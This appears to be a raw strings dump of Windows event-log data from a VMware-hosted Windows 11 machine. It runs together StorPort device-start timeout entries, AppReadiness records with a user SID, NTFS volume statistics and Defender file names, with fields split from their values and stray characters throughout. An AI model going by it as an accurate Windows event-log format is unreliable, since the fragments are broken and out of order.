Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 SMARTS~1.MUI smartscreen.exe.mui WofCompressedData $DSC smartscreen.exe.mui0 SMARTS~1.MUI smartscreen.exe.mui WofCompressedData $DSC WofCompressedData $DSC SMBHelperClass.dll.mui SMBHelperClass.dll.mui WofCompressedData $DSC SMCCx.dll.mui SMCCXD~1.MUI SMCCx.dll.mui WofCompressedData $DSC WofCompressedData $DSC SyncUtil.dll.mui WofCompressedData $DSC WofCompressedData $DSC sysdm.cpl.mui sysdm.cpl.mui ompressedData $DSC sysmain.dll.mui0 SYSMAI~1.MUI sysmain.dll.mui WofCompressedData $DSC sysmon.ocx.mui SYSMON~1.MUI sysmon.ocx.mui WofCompressedData $DSC store.jfm store.vol tmp.edb USS.jcp USS.jtx USSres00001.jrs USSres00002.jrs USSRES~1.JRS USSRES~2.JRS USStmp.jtx TYPELIB en-USes endpointdlp.dll ENDPOI~1.DLL MpAsDesc.dll MpClient.dll MpCmdRun.exe MpDetours.dll MpDetoursCopyAccelerator.dll MPDETO~1.DLL MPDETO~2.DLL MpOAV.dll MsMpLics.dll Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin S-1-5-21-3914889805-4071901059-918772286-1001 remove::Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin S-1-5-21-3914889805-4071901059-918772286-1001 ART:UserLogon Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin S-1-5-21-3914889805-4071901059-918772286-1001 remove::Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin S-1-5-21-3914889805-4071901059-918772286-1001 ART:UserLogon Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin EventData Data Username Task Elapsed S-1-5-21-3914889805-4071901059-918772286-1001 ART:UserLogon Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin User TaskId TaskCount S-1-5-21-3914889805-4071901059-918772286-1001 ART:OemFirstRun Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin User From S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin ExitCode Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin User S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin S-1-5-21-3914889805-4071901059-918772286-1001 ART:OemFirstRun Microsoft-Windows-AppReadiness Microsoft-Windows-AppReadiness/Admin S-1-5-21-3914889805-4071901059-918772286-1001 ART:OemFirstRun Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational EventData Data VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType DeviceNumber IsBootVolume NativeNVMe AdapterSerialNumberLength AdapterSerialNumber MountDurationUs MountDuration LongestStage LongestStageDuration LongestStagePercentage SecondLongestStage SecondLongestStageDuration SecondLongestStagePercentage RestartApplied Stage1DurationUs Stage2DurationUs Stage3DurationUs Stage4DurationUs Stage5DurationUs Stage6DurationUs Stage7DurationUs Stage8DurationUs Stage9DurationUs Stage10DurationUs \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber DurationUs InputFlags Reason Flags \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational VolumeCorrelationId VolumeId VolumeLabel DeviceName DeviceGuid VendorId ProductId ProductRevision DeviceSerialNumber BusType NativeNVMe AdapterSerialNumber MediaType RunsCached LongestRunCached LongestRunCachedStr MostPopulatedBinCount MostPopulatedBinMinLength MostPopulatedBinMinLengthStr MostPopulatedBinMaxLength MostPopulatedBinMaxLengthStr TotalCachedRuns CachedRunsLogged CachedRunsAlignment RunsInCachedRuns LongestRunInCachedRuns !MostPopulatedBinCountInCachedRuns %MostPopulatedBinMinLengthInCachedRuns %MostPopulatedBinMaxLengthInCachedRuns \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 40.42 GB 40 KB 40 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational VolumeGuid VolumeNameLength VolumeName IsBootVolume ElapsedSeconds AvailabeSpaceMinStr AvailabeSpaceMaxStr AvailabeSpaceDeltaStr AvailableClustersMin AvailableClustersMax UnallocatedClustersMin UnallocatedClustersMax ReservedClustersMin ReservedClustersMax TxfAbortReservedClustersMin TxfAbortReservedClustersMax PageFileSizeInBytes PageFileSizeStr VolumeSizeInBytes VolumeSizeStr ClusterSize CachedRunsMissCountForMft CachedRunsMissCountForMftZone CachedRunsMissCount 49.03 GB 50.30 GB 1.28 GB 1.15 GB 59.79 GB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 39.30 GB 56 KB 56 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational VolumeCorrelationId VolumeNameLength VolumeName FromSize ToSize DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber VolumeSizeChangeOperation VolumeSizeChangeRequestType CombinedDurationMs Stage1DurationMs Stage2DurationMs Stage3DurationMs VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 38.55 GB 56 KB 56 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 38.55 GB 56 KB 56 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 512.42 MB 248.01 MB 256 MB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} 117.78 MB 764.34 MB 646.56 MB 0 Bytes 769 MB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000R Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 95.92 MB 25.01 MB 26 MB 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 32 ms 16 ms 15 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 38.55 GB 20 KB 20 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 2 ms 2 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 22.81 MB 22.01 MB 23 MB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 48.51 GB 48.55 GB 32.93 MB 1.15 GB 59.04 GB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} 114.73 MB 118.73 MB 4 MB 0 Bytes 769 MB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 38.55 GB 56 KB 56 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000) Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 95.92 MB 22.01 MB 23 MB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational ProcessName VolumeCorrelationId VolumeNameLength VolumeName JournalId CurrentUsn Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational VolumeCorrelationId VolumeNameLength VolumeName UserFileReads UserFileReadBytes UserDiskReads UserFileWrites UserFileWriteBytes UserDiskWrites MetaDataReads MetaDataReadBytes MetaDataDiskReads MetaDataWrites MetaDataWriteBytes MetaDataDiskWrites MftReads MftReadBytes MftWrites MftWriteBytes Mft2Writes Mft2WriteBytes RootIndexReads RootIndexReadBytes RootIndexWrites RootIndexWriteBytes BitmapReads BitmapReadBytes BitmapWrites BitmapWriteBytes MftBitmapReads MftBitmapReadBytes MftBitmapWrites MftBitmapWriteBytes UserIndexReads UserIndexReadBytes UserIndexWrites UserIndexWriteBytes LogFileReads LogFileReadBytes LogFileWrites LogFileWriteBytes LogFileFull LogFileFullReasonBucket1 LogFileFullReasonBucket2 LogFileFullReasonBucket3 LogFileFullReasonBucket4 LogFileFullReasonBucket5 LogFileFullReasonBucket6 LogFileFullReasonBucket7 LogFileFullReasonBucket8 LogFileFullReasonBucket9 LogFileFullReasonBucket10 LogFileFullReasonBucket11 LogFileFullReasonBucket12 LogFileFullReasonBucket13 LogFileFullReasonBucket14 LogFileFullReasonBucket15 DiskResourceFailure VolumeTrimCount VolumeTrimTime VolumeTrimSize AvgVolumeTrimTime AvgVolumeTrimSize VolumeTrimSkippedCount VolumeTrimSkippedSize FileLevelTrimCount FileLevelTrimTime FileLevelTrimSize AvgFileLevelTrimTime AvgFileLevelTrimSize (NtfsFillStatInfoFromMftRecordCalledCount >NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount CNtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume PeriodDurationMicrosSec OperationCount RepostedOperationCount FailedOperationCount OperationRangeCount OperationByteCount OperationLongRangeByteCount UnalignedRangeCount BytesInUnalignedRanges OperationTrimExtentCount NonBlockAlignedTrimByteCount ReclaimedByteCount ByteCountLabelsLength ByteCountLabels OperationCountBuckets1 OperationCountBuckets2 OperationCountBuckets3 OperationCountBuckets4 OperationCountBuckets5 OperationCountBuckets6 OperationCountBuckets7 OperationCountBuckets8 OperationCountBuckets9 OperationCountBuckets10 OperationCountBuckets11 OperationCountBuckets12 OperationByteCountBuckets1 OperationByteCountBuckets2 OperationByteCountBuckets3 OperationByteCountBuckets4 OperationByteCountBuckets5 OperationByteCountBuckets6 OperationByteCountBuckets7 OperationByteCountBuckets8 OperationByteCountBuckets9 OperationByteCountBuckets10 OperationByteCountBuckets11 OperationByteCountBuckets12 OperationBytesReclaimedBuckets1 OperationBytesReclaimedBuckets2 OperationBytesReclaimedBuckets3 OperationBytesReclaimedBuckets4 OperationBytesReclaimedBuckets5 OperationBytesReclaimedBuckets6 OperationBytesReclaimedBuckets7 OperationBytesReclaimedBuckets8 OperationBytesReclaimedBuckets9 OperationBytesReclaimedBuckets10 OperationBytesReclaimedBuckets11 OperationBytesReclaimedBuckets12 OperationLatencyBuckets1 OperationLatencyBuckets2 OperationLatencyBuckets3 OperationLatencyBuckets4 OperationLatencyBuckets5 OperationLatencyBuckets6 OperationLatencyBuckets7 OperationLatencyBuckets8 OperationLatencyBuckets9 OperationLatencyBuckets10 OperationLatencyBuckets11 OperationLatencyBuckets12 LatencyBucketLabelsLength LatencyBucketLabelsLabels OperationCountLatencyBuckets1 OperationCountLatencyBuckets2 OperationCountLatencyBuckets3 OperationCountLatencyBuckets4 OperationCountLatencyBuckets5 OperationCountLatencyBuckets6 OperationCountLatencyBuckets7 OperationCountLatencyBuckets8 OperationCountLatencyBuckets9 OperationCountLatencyBuckets10 OperationCountLatencyBuckets11 OperationCountLatencyBuckets12 OperationCountLatencyBuckets13 OperationCountLatencyBuckets14 OperationCountLatencyBuckets15 OperationFailureStatusCode1 OperationFailureCount1 OperationFailureStatusCode2 OperationFailureCount2 OperationFailureStatusCode3 OperationFailureCount3 OperationFailureStatusCode4 OperationFailureCount4 OperationFailureStatusCode5 OperationFailureCount5 P4 KB, 64 KB, 1 MB, 16 MB, 128 MB, 1 GB, 16 GB, 128 GB, 1 TB, 16 TB, 1 EB, 1+ EB O256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2s, 6s, 10s, 20s, 1m, 5m, 15m, 15m+ Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 25 ms 13 ms 12 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 38.55 GB 24 KB 24 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 4 ms 2 ms 2 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 22.81 MB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 41.99 GB 48.54 GB 6.56 GB 1.15 GB 59.04 GB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} 114.73 MB 118.73 MB 4 MB 0 Bytes 769 MB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 38.55 GB 60 KB 60 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_00006 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 95.92 MB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 16 ms 16 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 38.55 GB 32 KB 32 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer windows11 Security UserID Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational EventData Data VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType DeviceNumber IsBootVolume NativeNVMe AdapterSerialNumberLength AdapterSerialNumber MountDurationUs MountDuration LongestStage LongestStageDuration LongestStagePercentage SecondLongestStage SecondLongestStageDuration SecondLongestStagePercentage RestartApplied Stage1DurationUs Stage2DurationUs Stage3DurationUs Stage4DurationUs Stage5DurationUs Stage6DurationUs Stage7DurationUs Stage8DurationUs Stage9DurationUs Stage10DurationUs 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 5 ms 2 ms 2 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber DurationUs InputFlags Reason Flags 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational VolumeCorrelationId VolumeId VolumeLabel DeviceName DeviceGuid VendorId ProductId ProductRevision DeviceSerialNumber BusType NativeNVMe AdapterSerialNumber MediaType RunsCached LongestRunCached LongestRunCachedStr MostPopulatedBinCount MostPopulatedBinMinLength MostPopulatedBinMinLengthStr MostPopulatedBinMaxLength MostPopulatedBinMaxLengthStr TotalCachedRuns CachedRunsLogged CachedRunsAlignment RunsInCachedRuns LongestRunInCachedRuns !MostPopulatedBinCountInCachedRuns %MostPopulatedBinMinLengthInCachedRuns %MostPopulatedBinMaxLengthInCachedRuns \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 22.81 MB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational VolumeGuid VolumeNameLength VolumeName IsBootVolume ElapsedSeconds AvailabeSpaceMinStr AvailabeSpaceMaxStr AvailabeSpaceDeltaStr AvailableClustersMin AvailableClustersMax UnallocatedClustersMin UnallocatedClustersMax ReservedClustersMin ReservedClustersMax TxfAbortReservedClustersMin TxfAbortReservedClustersMax PageFileSizeInBytes PageFileSizeStr VolumeSizeInBytes VolumeSizeStr ClusterSize CachedRunsMissCountForMft CachedRunsMissCountForMftZone CachedRunsMissCount 41.99 GB 48.51 GB 6.52 GB 1.15 GB 59.04 GB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} 114.73 MB 118.73 MB 4 MB 0 Bytes 769 MB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 38.55 GB 60 KB 60 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_00006 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 95.92 MB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational ProcessName VolumeCorrelationId VolumeNameLength VolumeName JournalId CurrentUsn 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 15 ms 15 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 38.55 GB 32 KB 32 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 2 ms 2 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} 